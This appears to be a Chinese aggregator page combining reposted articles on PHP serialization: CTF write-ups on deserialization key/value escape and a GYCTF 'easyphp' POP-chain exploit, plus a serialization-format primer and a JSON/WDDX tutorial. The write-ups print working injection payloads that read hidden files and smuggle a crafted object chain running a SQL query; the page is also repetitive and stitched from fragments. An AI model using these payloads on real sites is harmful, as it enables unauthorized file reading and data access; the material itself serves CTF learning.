对于php序列化键、值逃逸感兴趣的读者,本文将提供您所需要的所有信息,我们将详细讲解php序列化函数,并且为您提供关于Atititphp序列化php的serialize序列化和json序列化、Atit
对于php 序列化键、值逃逸感兴趣的读者,本文将提供您所需要的所有信息,我们将详细讲解php 序列化函数,并且为您提供关于Atitit php序列化 php的serialize序列化和json序列化、Atitit php序列化 php的serialize序列化和json序列化 - attilaxAti、GYCTF easyphp 【反序列化配合字符逃逸】、php json与xml序列化/反序列化_php技巧的宝贵知识。
本文目录一览:- php 序列化键、值逃逸(php 序列化函数)
- Atitit php序列化 php的serialize序列化和json序列化
- Atitit php序列化 php的serialize序列化和json序列化 - attilaxAti
- GYCTF easyphp 【反序列化配合字符逃逸】
- php json与xml序列化/反序列化_php技巧
php 序列化键、值逃逸(php 序列化函数)
转自https://www.cnblogs.com/wangtanzhi/p/12261610.html
PHP反序列化的对象逃逸
任何具有一定结构的数据,只要经过了某些处理而把自身结构改变,则可能会产生漏洞。
参考链接:
https://blog.csdn.net/a3320315/article/details/104118688/
过滤函数分为两种情况
第一种为关键词数增加
例如: where->hacker,这样词数由五个增加到6个。
第二种为关键词数减少
例如:直接过滤掉一些关键词,例如这道题目中。
过滤函数filter()是对serialize($_SESSION)进行过滤,滤掉一些关键字
那么我们有两种方法:
键逃逸和值逃逸
值逃逸:
这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZdbnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
var_dump的结果为:
"a:3{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZdbnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
键逃逸:
这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对
_SESSION[flagPHP]=;s:1:"1";s:3:"img";s:20:"ZdbnM19mMWFnLnBocA==";}
var_dump的结果为:
"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZdbnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
这儿得s:7:""之所以为空,是因为我们构造得键flagPHP都是会被过滤得,所以显示为空,这样就能吃掉一部分值了,然后将剩下得值充当另一个对象逃逸出去~~
回到题目,我们首先看源码
过滤函数filter()是对serialize($_SESSION)进行过滤,滤掉一些关键字
正常传img参数进去会被sha1加密,我们应该用别的方法控制$_SESSION中的参数。
本来挺好的序列化的字符串,按某种去掉了一些关键字,本身就不对,本身就涉及到可能破坏原有结构而无法正常反序列化的问题。这里是利用反序列化长度逃逸控制了img参数。之前有一道题目是关键字替换导致字符串长度变长,把后面的原有参数挤出去了,
本题是关键字被置空导致长度变短,后面的值的单引号闭合了前面的值的单引号,导致一些内容逃逸。。
extract后覆盖了两个没用的属性,但是后面又强制加了一个我们不可控的img属性
根据源码,我们先对f传参PHPinfo
构造payload来对
d0g3_f1ag.PHP读取。
;s:14:"PHPflagPHPflag";s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
解释一下:
这里首先PHPflagPHPflag会被过滤为空,吃掉一部分值
$serialize_info的内容为
a:2:{s:7:"";s:48:";s:7:"xxxxxxx";s:3:"img";s:20:"ZdbnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";
刚好把后面多余的img部分截断掉
payload:
_SESSION[PHPflag]=;s:7:"xxxxxxx";s:3:"img";s:20:"ZdbnM19mMWFnLnBocA==";}
读取/d0g3_fllllllag
payload:
_SESSION[PHPflag]=;s:14:"PHPflagPHPflag";s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
参考链接:
https://www.jianshu.com/p/1f44650b0822
https://blog.csdn.net/a3320315/article/details/104118688/
Atitit php序列化 php的serialize序列化和json序列化
atitit php序列化 php的serialize序列化和json序列化
立即学习“PHP免费学习笔记(深入)”;
立即学习“PHP免费学习笔记(深入)”;
PHP 对不同类型的数据用不同的字母进行标示,Yahoo 开发网站提供的Using Serialized PHP withYahoo! Web Services 一文中给出所有的字母标示及其含义:a - arrayb - booleand - doublei - integero - common objectr - references - stringC - custom objectO - classN - nullR - pointer referenceU - unicode stringN 表示的是NULL,而b、d、i、s
立即学习“PHP免费学习笔记(深入)”;
作者:: ★(attilax)>>> 绰号:老哇的爪子 ( 全名::Attilax Akbar Al Rapanui 阿提拉克斯 阿克巴 阿尔 拉帕努伊 ) 汉字名:艾龙, EMAIL:1466519819@qq.com
转载请注明来源: http://www.cnblogs.com/attilax/
立即学习“PHP免费学习笔记(深入)”;
4.1.数组的序列化数组(array)通常被序列化为:a:
立即学习“PHP免费学习笔记(深入)”;
立即学习“PHP免费学习笔记(深入)”;
PHP序列化_serialize_格式详解 - 低调走过 - 博客频道 - CSDN.NET.html
以上就介绍了Atitit php序列化 php的serialize序列化和json序列化,包括了方面的内容,希望对PHP教程有兴趣的朋友有所帮助。
Atitit php序列化 php的serialize序列化和json序列化 - attilaxAti
atitit php序列化 php的serialize序列化和json序列化
PHP 对不同类型的数据用不同的字母进行标示,Yahoo 开发网站提供的Using Serialized PHP with
Yahoo! Web Services 一文中给出所有的字母标示及其含义:
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
N 表示的是NULL,而b、d、i、s
立即学习“PHP免费学习笔记(深入)”;
作者:: ★(attilax)>>> 绰号:老哇的爪子 ( 全名::Attilax Akbar Al Rapanui 阿提拉克斯 阿克巴 阿尔 拉帕努伊 ) 汉字名:艾龙, EMAIL:1466519819@qq.com
转载请注明来源: http://www.cnblogs.com/attilax/
立即学习“PHP免费学习笔记(深入)”;
4.1.数组的序列化
数组(array)通常被序列化为:
a:
其中
2>……
下标的类型只能是整型或者字符串型,序列化后的格式跟整型和字符串型数据序列化后的格式相同。
数组元素值可以是任意类型,其序列化后的格式与其所对应的类型序列化后的格式相同。
4.2.对象的序列化
对象(object)通常被序列化为:
O:
2>
其中
包括在对象所在类及其祖先类中用var、public、protected 和private 声明的字段,但是不包括static 和
const 声明的静态字段。也就是说只有实例(instance)字段。
字段名是字符串型,序列化后格式与字符串型数据序列化后的格式相同。
字段值可以是任意类型,其序列化后的格式与其所对应的类型序列化后的格式相同。
但字段名的序列化与它们声明的可见性是有关的,下面重点讨论一下关于字段名的序列化。
立即学习“PHP免费学习笔记(深入)”;
立即学习“PHP免费学习笔记(深入)”;
PHP序列化_serialize_格式详解 - 低调走过 - 博客频道 - CSDN.NET.html
GYCTF easyphp 【反序列化配合字符逃逸】
基础知识可以参考我之前写的那个 0CTF 2016 piapiapia 那个题只是简单记录了一下,学习了一下php反序列化的思路
https://www.cnblogs.com/tiaopidejun/p/12345080.html
这道题自己搞一下:
主要是构造pop链,
大概的思路,如果找到序列化和反序列化的点,跟进调用的方法,在源码中寻找可以被我们利用getshell的点。
开始:
先是发现
跟进getNewInfo
发现update调用,继续跟进UpdateHelper
发现会直接调用魔法函数__destruct,同时这里echo字符串,会触发__ toString
找一下有没有__toString
但是这个没有什么利用点
但我们发现有个call可以被我们利用
总结pop链思路:
Up类触发__destruct(),然后会输出字符串触发User类的__toString(),
这里使User类调用Info里的nickname 因为Info里面没有__destruct从而触发__call将sql语句带入查询
构造pop链:
如何构造pop链----学习链接:https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html
最后根据safe那个函数的规格,再构造出逃逸字符的payload
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunion ";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}
原本构造出的字符数是453,所以可以选择90个 '' 和3个union 达到让payload逃逸出来.....
这个题学到不少东西,尤其是pop链构造....,感觉主要还是要理顺整个利用的过程.
php json与xml序列化/反序列化_php技巧
在web开发中对象的序列化与反序列化经常使用,比较主流的有json格式与xml格式的序列化与反序列化,今天想写个jsop的小demo,结果发现不会使用php序列化,查了一下资料,做个笔记简单数组json格式序列化/反序列化
php提供了json_encode和json_decode函数对对象进行json格式序列化/反序列化操作
$data=array(''Name''=>''Byron'',''Age''=>24,''Sex''=>''Male'',''Friends''=>array(''Casper'',''Frank'',''Vincent'')); $json=json_encode($data);//将数组序列化为json字符串 echo $json.''<br>''; $array_json= json_decode($json);//将json字符串反序列化为数组 while(list($key,$value)=each($array_json)){ if(!is_array($value)){ echo "$key: $value<br>"; }else{ echo "$key: "; foreach ($value as $current) { echo "$current "; } echo ''<br>''; } }
php提供wddx_serialize_value和wddx_deserialize函数对对象进行xml格式序列化/反序列化操作
$data=array(''Name''=>''Byron'',''Age''=>24,''Sex''=>''Male'',''Friends''=>array(''Casper'',''Frank'',''Vincent'')); $xml=wddx_serialize_value($data);//把数组序列化为xml字符串 echo $xml.''<br>''; $array_xml=wddx_deserialize($xml);//把xml字符串反序列化为数组 while(list($key,$value)=each($array_xml)){ if(!is_array($value)){ echo "$key: $value<br>"; }else{ echo "$key: "; foreach ($value as $current) { echo "$current "; } echo ''<br>''; } }
虽然由于HTML转码原因,输出格式很奇怪,但其实序列化的字符串是这样的
和json格式相比较的话,多出来不少字段
复杂对象json格式序列化/反序列化很多时候我们在进行操作的时候,处理的对象并不是简单数组,而是我们自定义的一个对象的数组,json_encode和json_decode也是可以胜任的。自定义一个和上面数组内容类似的对象
class Me { public $name; public $age; public $friends; function __construct($name,$age,$friends) { $this->name=$name; $this->age=$age; $this->friends=$friends; } }
$me1=new Me(''Byron'',24,array(''Casper'',''Frank'',''Vincent'')); $me2=new Me(''Casper'',25,array(''Byron'',''Frank'',''Vincent'')); $me3=new Me(''Frank'',26,array(''Casper'',''Byron'',''Vincent'')); //创建一个复杂的数组,子元素是自定义类,自定义类中包含数组字段 $array_me=array($me1,$me2,$me3); $json=json_encode($array_me);//序列化对象数组为json字符串 echo $json.''<br>''; $a=json_decode($json);//将json字符串反序列化为对象数组 foreach ($a as $aa) { echo $aa->name.''<br>''; }
可以看到序列化出来的字符串格式非常符合预期。复杂对象xml格式序列化/反序列化同样wddx_serialize_value和wddx_deserialize函数也能胜任复杂对象进行xml格式序列化/反序列化操作,使用刚才的对象做例子
$me1=new Me(''Byron'',24,array(''Casper'',''Frank'',''Vincent'')); $me2=new Me(''Casper'',25,array(''Byron'',''Frank'',''Vincent'')); $me3=new Me(''Frank'',26,array(''Casper'',''Byron'',''Vincent'')); //创建一个复杂的数组,子元素是自定义类,自定义类中包含数组字段 $array_me=array($me1,$me2,$me3); $xml=wddx_serialize_value($array_me);//序列化对象数组为xml字符串 echo $xml.''<br>''; $a=wddx_deserialize($xml);//将xml字符串反序列化为对象数组 foreach ($a as $aa) { echo $aa->name.''<br>''; }
生成的xml字符串结构是这样的
最后初学php,文章多有谬误,希望大家批评指正。
今天关于php 序列化键、值逃逸和php 序列化函数的讲解已经结束,谢谢您的阅读,如果想了解更多关于Atitit php序列化 php的serialize序列化和json序列化、Atitit php序列化 php的serialize序列化和json序列化 - attilaxAti、GYCTF easyphp 【反序列化配合字符逃逸】、php json与xml序列化/反序列化_php技巧的相关知识,请在本站搜索。
本文标签: